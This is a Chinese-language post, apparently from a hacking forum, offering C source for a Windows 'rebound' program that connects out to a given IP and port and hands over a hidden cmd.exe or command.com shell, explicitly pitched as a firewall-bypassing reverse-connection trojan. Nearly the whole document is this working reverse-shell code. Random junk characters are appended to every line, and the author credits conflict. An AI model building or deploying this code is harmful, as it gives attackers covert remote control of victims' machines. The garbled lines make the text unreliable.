这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QE/kR!r
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/* ============================== '-myOM7
Rebound port in Windows NT bB0/FiY7o
By wind,2006/7 0;x&\x7K
===============================*/ W7C1\'T
#include iUz?mt;k
#include 1E$\&*(
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#pragma comment(lib,"wsock32.lib") In4VS:dD
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void OutputShell(); %KF I~Qk
SOCKET sClient; }alq~jY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N?c~AEk9U
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void main(int argc,char **argv) 2aTq?ZR|8A
{ NEIF1(:
WSADATA stWsaData; @=G[mc\
int nRet; (<B%Gy@
SOCKADDR_IN stSaiClient,stSaiServer; )z&C&Gqz
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if(argc != 3) WCY._H>|
{ 0v EQgx>
printf("Useage:\n\rRebound DestIP DestPort\n"); qbQdxKk
return; .0,G4k/yv
} a{ke%W$*P
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WSAStartup(MAKEWORD(2,2),&stWsaData); fhn$~8[_A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'hu'}F{
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stSaiClient.sin_family = AF_INET; Cn=#oE8(A
stSaiClient.sin_port = htons(0); a`:F07r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xrXfZ>$5bM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {li
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{
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printf("Bind Socket Failed!\n"); #"oLz"{
return; i<$?rB!i<1
} 3w>1R>7
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stSaiServer.sin_family = AF_INET; gc I<bY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {oAD;m`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); % dtn*NU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h:7\S\|8
{ ;>/Mal
printf("Connect Error!"); Gv]94$'J9
return; <k3KCt
} >;"%Db
OutputShell(); ;TC]<N.YJT
} [ Y{
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void OutputShell() P_H2[d&/>D
{ o+{7"Na8[
char szBuff[1024]; w_"-rGV
SECURITY_ATTRIBUTES stSecurityAttributes; uzb|yV'B
OSVERSIONINFO stOsversionInfo; } PL{i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [xb'73
STARTUPINFO stStartupInfo; t%,:L.?J#
char *szShell; p< pGqW
PROCESS_INFORMATION stProcessInformation; bz 7?F!
unsigned long lBytesRead; OZz/ip-!lc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fHwS12SB
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T+gH38!e
stSecurityAttributes.lpSecurityDescriptor = 0; C \5yo
stSecurityAttributes.bInheritHandle = TRUE; nxEC6Vh'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `c^">L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [uJS.`b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W@zxGH$z>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2^=.f?_YR
stStartupInfo.wShowWindow = SW_HIDE; Ll%}nti
stStartupInfo.hStdInput = hReadPipe; 6uUzky
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; } gwfe
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GetVersionEx(&stOsversionInfo); :_F 8O
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switch(stOsversionInfo.dwPlatformId) F_ -Xx"
{ 1Ke9H!_P
case 1: xY.?OHgG/
szShell = "command.com"; * >:<
break; GbQg(%2F
default: hAds15 %C
szShell = "cmd.exe"; vqVwo\oEdU
break; pI.8Ip_r
} B@ z ng2[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z;tWV%F5
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send(sClient,szMsg,77,0); S|KUh|=Q
while(1) SY:ISzB}
{ MLiaCG;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hhWy-fP#
if(lBytesRead) \QG2V$
{ }G^'y8U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m$hkmD|
send(sClient,szBuff,lBytesRead,0); wSM(!:on5
} ?I+$KjE+
else 6Hy_7\$(-
{ L?M
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lBytesRead=recv(sClient,szBuff,1024,0); e]dFNunFq0
if(lBytesRead<=0) break; (7&b)"y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n
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} B\aVE|~PB
} CbxWK#aMmB
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return; F|'u0JQ)$
}